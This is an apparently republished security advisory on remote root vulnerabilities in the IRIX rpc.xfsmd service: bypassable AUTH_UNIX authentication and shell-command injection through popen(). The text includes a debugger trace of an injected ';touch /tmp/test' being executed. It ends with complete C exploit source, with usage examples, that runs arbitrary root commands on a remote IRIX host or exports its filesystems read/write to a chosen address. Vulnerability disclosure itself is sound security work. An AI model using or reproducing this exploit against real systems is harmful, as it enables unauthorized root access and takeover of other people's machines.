‘IRIX rpc.xfsmd Multiple Remote Root Vulnerabilities’

Summary

‘There are multiple vulnerabilities in the xfsmd service. Due to weak RPC authentication scheme remote calls of potentially dangerous RPC functions provided by xfsmd service can be performed. The other problem with xfsmd is in the way it uses the libc popen() function call. When appropriately exploited any of these vulnerabilities can lead to the remote root access on a vulnerable system.’

Credit:

‘The information has been provided by Last Stage of Delirium.’


Details

‘There have been found several remotely exploitable vulnerabilities in the IRIX rpc.xfsmd service, which when properly exploited can result in an unauthorized root access to the vulnerable system. SGI was informed about this issue and assigned this bug number 858714.

Xfsmd service is installed and started by default on all versions of the IRIX operating system starting from version 6.2 to 6.5.16 (after full OS installation). This daemon provides functionality related with xfs file systems and disk volumes (xlv) management. Xfsmd handles requests for file system creation, mounting and unmounting. Through xfsmd, file systems’ parameters can be modified as well as the whole partitions can be managed. Xfsmd is registered in IRIX operating system as RPC service number 391016.

There are multiple vulnerabilities in the xfsmd service. Below you will find the detailed descriptions for all of them.

1. Weak authentication
The first problem with xfsmd service is its weak RPC authentication scheme that is based on AUTH_UNIX RPC type. Such an authentication scheme can be easily bypassed what in result creates the possibility to remotely call potentially dangerous RPC functions, the ones that would allow to mount, unomunt, create, delete or modify xfs file systems on a vulnerable host. The possibility to perform such actions in the UNIX system is obviously equivalent to gaining root user privileges.

In our proof of concept code for the rpc.xfsmd, weak RPC authentication scheme is exploited by forcing xfsmd to export any file system with read and write privileges for everyone. Specifically, a call to xfsexport_1() RPC function is made in order to accomplish this goal. Besides this function, there are several others that can be called remotely by an attacker after bypassing AUTH_UNIX authentication scheme. Below, we present some of them and provide brief description of the action that can be performed upon their use.

xfscreate_1() – allows for the creation of new file systems
xfsedit_1() – allows for modification of a given file systems’ parameters
xfsexport_1() – allows to export a given file system
xfsmount_1() – allows to mount a given file system
xfsdelete_1() – allows to delete a given file system

2. popen() vulnerabilities
The other vulnerability that we have found in xfsmd service is the result of bad coding practice and the way popen() function is called throughout the xfsmd code. Xfsmd RPC functions use the popen() call for invoking several external programs, that provide it with required, file system related functionality. As an argument to the popen() function call, a user provided argument is given without any checks for shell metacharacters, such as ‘;’ or ”’.

In our proof of concept code, the rpc.xfsmd popen() vulnerability is illustrated in a case of RPC xfsexport_1() function call. When xfsexport_1() is invoked, a function call to xfsExportInternal() is made. In xfsExportInternal(), first some checks of user provided parameters are done and if successful, a call to xfs_export() is made. In this latter call a structure filled with user provided arguments is created and it contains the name of the file system to be exported and options for exportfs command, executed via popen(). In xfs_export(), a call to external program /usr/etc/exportfs is made through the use of popen() function. As export options passed to the called exportfs program come from the user provided arguments, there exist an easy way to execute arbitrary commands on the vulnerable IRIX system. It is only required that the option string for the exportfs command should be constructed according to the ‘;command’ scheme. For example it could be set to ‘;touch /tmp/test’ in order to execute ‘touch /tmp/test’ command.

Below you will find a trace of the xfsmd program execution done with the use of our bptrace tool. It clearly illustrates the above description of the popen() vulnerability in xfsmd.

breakpoint trace [version 1.4]
copyright by LAST STAGE OF DELIRIUM 1998 Poland
    found 624 symbols
    624 breakpoints enabled, 0 disabled, 0 aliases
==> attaching process 325621 (/usr/etc/xfsmd)
[325621] 0x0fa397b4 1 memset(0x7fff26a0,0,128)
[325621] 0x0fa397ac 1 bzero(0x7fff288c,4)
[325621] 0x0fa397b4 2 memset(0x7fff288c,0,4)
[325621] 0x00421da0 1 xdr_nametype()
[325621] 0x0fb055e0 1 xdr_string()
[325621] 0x0fa2ea48 1 malloc(38)
———————
[325621] 0x0040ad40 1 xfsexport_1()
———————
[325621] 0x0040951c 1 xdr_free()
[325621] 0x00421e7c 1 xdr_xfs_result()
[325621] 0x00421da0 2 xdr_nametype()
[325621] 0x0fb055e0 2 xdr_string()
[325621] 0x0fa2f1d8 1 free(0x1001add8)
[325621] 0x0fb0516c 1 xdr_int()

Weak authenticate function
——————–
[325621] 0x0040a6a4 1 authenticate()
——————–
[325621] 0x0fa2f994 1 gethostname()
[325621] 0x0fa37008 1 strtok(‘symul’,’.’)
[325621] 0x0fa2e640 1 strcpy(0x7fff1610,’symul’)
[325621] 0x0fa4b0d0 1 getdomainname()
[325621] 0x0fa2fe38 1 strcat(‘symul’,’.’)
[325621] 0x0fa2fe38 2 strcat(‘symul.’,”)
[325621] 0x0fa34330 1 strcmp(‘symul.’,’symul.’)
——————-
[325621] 0x0040f3bc 1 xfsExportInternal()
——————
[325621] 0x0fa3972c 1 strdup(‘XFS_MNT_DIR:/tmpnroot:;touch /tmp/test;’)
[325621] 0x0fa2e590 2 strlen(‘XFS_MNT_DIR:/tmpnroot:;touch /tmp/test;’)
[325621] 0x0fa2ea48 2 malloc(38)
[325621] 0x0fa2e640 2 strcpy(0x1001add8,’XFS_MNT_DIR:/tmpnroot:;touch /tmp/test;’)
[325621] 0x0fa37008 2 strtok(‘XFS_MNT_DIR:/tmpnroot:;touch /tmp/test;’,’n’)
[325621] 0x004193bc 1 xfsmGetKeyValue()
[325621] 0x0fa2e780 1 strchr(‘XFS_MNT_DIR:/tmp’,’:’)
[325621] 0x0fa34330 2 strcmp(‘/tmp’,’false’)
[325621] 0x0fa34330 3 strcmp(‘/tmp’,’FALSE’)
[325621] 0x0fa34330 4 strcmp(‘XFS_MNT_DIR’,’XFS_FS_NAME’)
[325621] 0x0fa2ea48 3 malloc(38)

…..

[325621] 0x0fa2e640 3 strcpy(0x1001a828,’XFS_MNT_DIR:/tmpnroot:;touch /tmp/test;’)
[325621] 0x0fa37008 5 strtok(‘XFS_MNT_DIR:/tmpnroot:;touch /tmp/test;’,’n’)
[325621] 0x004193bc 3 xfsmGetKeyValue()
[325621] 0x0fa2e780 3 strchr(‘XFS_MNT_DIR:/tmp’,’:’)
[325621] 0x0fa34330 11 strcmp(‘XFS_MNT_DIR’,’rw,root’)
[325621] 0x0040ca98 1 create_option_str()
[325621] 0x0fa34330 12 strcmp(‘XFS_MNT_DIR’,’rw’)
[325621] 0x0fa34330 13 strcmp(‘XFS_MNT_DIR’,’root’)

…..

[325621] 0x0fa34498 1 realloc(0x100173c0,25)
[325621] 0x0fa2fe38 4 strcat(‘root=;touch /tmp/test;,’,’rw,’)
[325621] 0x0fa2f9d4 1 strrchr(‘root=;touch /tmp/test;,rw,’,’,’)
[325621] 0x0fa397b4 3 memset(0x1001a8a7,0,1)
[325621] 0x0fa2f1d8 2 free(0x1001a828)
—————————
[325621] 0x00414904 1 xfs_export()
—————————
[325621] 0x0041a750 1 isvalidmntpt()
[325621] 0x0fa2e780 5 strchr(‘/tmp’,’ ‘)
[325621] 0x0fa4d628 3 strstr(‘/tmp’,’/./’)
[325621] 0x0fa4d628 4 strstr(‘/tmp’,’/../’)
[325621] 0x0fa31494 1 strncmp(‘/tmp’,’/tmp/’,5)
[325621] 0x0fa2e1a0 1 stat(‘/tmp’,0x7ffef314)
[325621] 0x0041457c 1 export_fs()
[325621] 0x0fa3190c 2 sprintf(0x7ffef2a0,’/usr/etc/exportfs -i -o %s %s 2>&1′,…)
[325621] 0x0fa2e590 8 strlen(‘root=;touch /tmp/test;,rw’)
[325621] 0x0fa2e590 9 strlen(‘/tmp’)

popen(‘/usr/etc/exportfs -i -o /tmp ;touch /tmp/test’)
—————————
[325621] 0x00416890 1 xfs_popen()
—————————

[325621] 0x0fa3ef74 1 pipe(2147406432)
[325621] 0x0fa3dd98 1 fork()
==> process 325621 forking to 325091
==> attaching process 325091 (/usr/etc/xfsmd)
[325091] 0x0fa2e290 1 close(4)
[325621] 0x0fa2e290 1 close(5)
[325091] 0x0fa2e290 2 close(1)
[325621] 0x0fa56c44 1 fdopen()
[325091] 0x004098f0 1 fcntl(5,F_DUPFD,0x00000001)
[325621] 0x0fa307fc 1 fgets()
[325091] 0x0fa2e290 3 close(2)
[325621] 0x0fa2ea48 5 malloc(4104)
[325091] 0x0fa2e290 4 close(5)
[325621] 0x0fa34b0c 1 _cerror()
[325091] 0x00409904 1 execl(‘/sbin/sh’,’sh’,…)
==> process 325091 executing /sbin/sh
    found 368 symbols
    368 breakpoints enabled, 0 disabled, 0 aliases
==> process 325091 forking to 325665
==> attaching process 325665 (/sbin/sh)
==> process 325665 executing /usr/etc/exportfs
    found 68 symbols
    68 breakpoints enabled, 0 disabled, 0 aliases
[325665] 0x100045c8 1 __istart()
[325665] 0x0fa33780 1 __readenv_sigfpe()
[325665] 0x10001b2c 1 main()
[325665] 0x10003364 1 parseargs()
[325665] 0x10001dbc 1 printexports()
[325665] 0x0fa33bf4 1 fopen(‘/etc/xtab’,’r’)
[325665] 0x0fa8cd4c 1 getexportent()

……..

[325621] 0x0fa2e640 5 strcpy(0x100173c0,’nothing exportedn’)
[325621] 0x0fa307fc 2 fgets()
==> process 325665 terminated
==> process 325091 forking to 325653
==> attaching process 325653 (/sbin/sh)
==> process 325653 executing /bin/touch
    found 24 symbols
    24 breakpoints enabled, 0 disabled, 0 aliases
[325653] 0x0fa5cb88 1 close(4)
[325653] 0x100023e0 1 __istart()
[325653] 0x0fa33780 1 __readenv_sigfpe()
[325653] 0x10001ac8 1 main()

……..

[325653] 0x0fa5cdbc 1 creat(‘/tmp/test’,438)
[325653] 0x0fa5cb88 2 close(4)
[325653] 0x0fa58954 2 stat64()
[325653] 0x0fa56a2c 1 utime()
[325653] 0x0fa363b8 1 exit(0)
==> process 325653 terminated

Below, several other RPC functions are listed which can be successfully exploited to run arbitrary commands with root user privileges on a remote IRIX system through the bad use of popen() function call in xfsmd:

xfscreate_1() – new file system creation
xfsexport_1() – file system export
xfsunexport_1() – file system unexport
xfsmount_1() – file system mount
xfsunmount_1() – file system unmount

Exploit:
*## copyright LAST STAGE OF DELIRIUM Sep 1999 poland *://lsd-pl.net/ #*/
/*## xfsmd #*/

/* this code forces xfsmd to execute any command on remote IRIX host or */
/* to export any file system from it with read/write privileges. */
/* the exploit requires that DNS is properly configured on an attacked */
/* host. additionally, if the file systems are to be exported from a */
/* vulnerable system, it must have NFS subsystem running. */

/* example usage: */
/* xfsmd address -c ‘touch /etc/lsd’ */
/* (executes ‘touch /etc/lsd’ command as root user on a vulnerable host) */
/* xfsmd address -e 10.0.0.1 -d ‘/’ */
/* (exports / filesystem to the 10.0.0.1 host with rw privileges) */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <rpc/rpc.h>
#include <netdb.h>
#include <stdio.h>
#include <errno.h>

#define XFS_PROG 391016
#define XFS_VERS 1
#define XFS_EXPORT 13

typedef char *req_t;
typedef struct{char *str1;int errno;}res_t;

bool_t xdr_req(XDR *xdrs,req_t *objp){
    if(!xdr_string(xdrs,objp,~0)) return(FALSE);
    return(TRUE);
}

bool_t xdr_res(XDR *xdrs,res_t *objp){
    if(!xdr_string(xdrs,&objp->str1,~0)) return(FALSE);
    if(!xdr_int(xdrs,&objp->errno)) return(FALSE);
    return(TRUE);
}

main(int argc,char **argv){
    char command[10000],*h,*cmd,*hst=NULL,*dir=’/etc’;
    int i,port=0,flag=0,c;
    CLIENT *cl;enum clnt_stat stat;
    struct hostent *hp;
    struct sockaddr_in adr;
    struct timeval tm={10,0};
    req_t req;
    res_t res;

    printf(‘copyright LAST STAGE OF DELIRIUM Sep 1999 poland //lsd-pl.net/n’);
    printf(‘rpc.xfsmd for irix 6.2 6.3 6.4 6.5 6.5.16 IP:allnn’);

    if(argc<3){
        printf(‘usage: %s address -c ‘command’ [-p port]n’,argv[0]);
        printf(‘ %s address -e address [-d dir] [-p port]n’,argv[0]);
        exit(-1);
    }
    while((c=getopt(argc-1,&argv[1],’c:p:e:d:’))!=-1){
switch(c){
case ‘c’: flag=0;cmd=optarg;break;
         case ‘e’: flag=1;hst=optarg;break;
         case ‘d’: dir=optarg;break;
         case ‘p’: port=atoi(optarg);
}
    }

    req=command;
    if(!flag){
        printf(‘executing %s command… ‘,cmd);
        sprintf(req,’XFS_MNT_DIR:/tmpnroot:;%s;’,cmd);
    }else{
        printf(‘exporting %s directory to %s… ‘,dir,hst);
        sprintf(req,’XFS_FS_NAME:%snroot:%sn’,dir,hst);
    }

    adr.sin_family=AF_INET;
    adr.sin_port=htons(port);
    if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
        if((hp=gethostbyname(argv[1]))==NULL){
            errno=EADDRNOTAVAIL;perror(‘error’);exit(-1);
        }
        memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
    }else{
        if((hp=gethostbyaddr((char*)&adr.sin_addr.s_addr,4,AF_INET))==NULL){
            errno=EADDRNOTAVAIL;perror(‘error’);exit(-1);
        }
    }
    if((h=(char*)strchr(hp->h_name,’.’))!=NULL) *(h+1)=0;
    else strcat(hp->h_name,’.’);

    i=RPC_ANYSOCK;
    if(!(cl=clnttcp_create(&adr,XFS_PROG,XFS_VERS,&i,0,0))){
        clnt_pcreateerror(‘error’);exit(-1);
    }

    cl->cl_auth=authunix_create(hp->h_name,0,0,0,NULL);
    stat=clnt_call(cl,XFS_EXPORT,xdr_req,(void*)&req,xdr_res,(void*)&res,tm);
    if(stat!=RPC_SUCCESS) {clnt_perror(cl,’error’);exit(-1);}
    printf(‘%sn’,(!flag)?’ok’:((!res.errno)?’ok’:’failed’));
}’

Categories: UNIX